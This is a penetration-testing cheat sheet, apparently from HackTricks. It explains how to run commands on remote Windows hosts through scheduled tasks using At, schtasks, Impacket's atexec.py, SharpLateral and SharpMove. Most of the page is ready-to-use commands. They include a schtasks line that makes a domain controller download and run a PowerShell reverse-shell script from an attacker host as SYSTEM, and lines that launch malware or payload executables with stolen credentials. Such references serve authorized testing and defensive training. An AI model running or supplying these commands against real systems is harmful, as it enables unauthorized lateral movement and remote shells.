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49 lines
1.6 KiB
Markdown
49 lines
1.6 KiB
Markdown
# AtExec / SchtasksExec
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{{#include ../../banners/hacktricks-training.md}}
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## How Does it works
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At allows to schedule tasks in hosts where you know username/(password/Hash). So, you can use it to execute commands in other hosts and get the output.
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```
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At \\victim 11:00:00PM shutdown -r
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```
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Using schtasks you need first to create the task and then call it:
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```bash
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schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00 /S <VICTIM> /RU System
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schtasks /run /tn <TASK_NAME> /S <VICTIM>
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```
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```bash
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schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
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schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
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```
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You can use **Impacket's `atexec.py`** to execute commands on remote systems using the AT command. This requires valid credentials (username and password or hash) for the target system.
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```bash
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atexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' whoami
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```
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You can also use [SharpLateral](https://github.com/mertdas/SharpLateral):
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```bash
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SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
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```
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You can use [SharpMove](https://github.com/0xthirteen/SharpMove):
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```bash
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SharpMove.exe action=taskscheduler computername=remote.host.local command="C:\windows\temp\payload.exe" taskname=Debug amsi=true username=domain\\user password=password
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```
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More information about the [**use of schtasks with silver tickets here**](../active-directory-methodology/silver-ticket.md#host).
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{{#include ../../banners/hacktricks-training.md}}
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